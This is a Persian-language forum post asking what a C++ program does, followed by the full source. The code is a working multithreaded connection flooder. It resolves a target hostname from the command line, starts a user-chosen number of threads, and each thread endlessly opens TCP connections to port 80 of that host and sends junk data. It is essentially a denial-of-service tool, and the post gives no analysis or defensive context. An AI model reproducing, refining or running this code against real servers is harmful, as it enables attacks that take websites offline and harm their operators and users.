خروجی و نتیجه این سورس ++C چیه ؟

[S4pehr]

سلام ...

این کد :


#include <arpa/inet.h>#include <netdb.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

int get_hostname_by_ip(char* h , char* ip)
{
struct hostent *he;
struct in_addr **addr_list;
int i;

if ((he = gethostbyname(h)) == NULL)
{
perror("gethostbyname");
return 1;
}
addr_list = (struct in_addr **) he->h_addr_list;
for(i = 0; addr_list[i] != NULL; i++)
{
strcpy(ip , inet_ntoa(*addr_list[i]) );
return 0;
}

return 1;
}

void client(char* h)
{
int fd;
char* ip = new char[20];
int port = 80;
struct sockaddr_in addr;
char ch[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
while(1)
{
fd = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family=AF_INET;
get_hostname_by_ip(h, ip);
addr.sin_addr.s_addr=inet_addr(ip);
addr.sin_port=htons(port);
if(connect(fd, (struct sockaddr*)&addr, sizeof(addr)) < 0)
{
perror("error: can't connect to server\n");
return;
}
if(send(fd, ch, sizeof(ch), 0) < 0)
{
perror("error: can't send\n");
}
close(fd);
}
}

struct info
{
char* h;
int c;
};


void* thread_entry_point(void* i)
{
info* in = (info*)i;
client(in->h);
}

int main(int argc, char** argv)
{
int s = atoi(argv[2]);
pthread_t t[s];
info in = {argv[1], s};
for(int i = 0; i < s; ++i)
{
pthread_create(&t[i], NULL, thread_entry_point, (void*)&in);
}
pthread_join(t[0], NULL);

return 0; }

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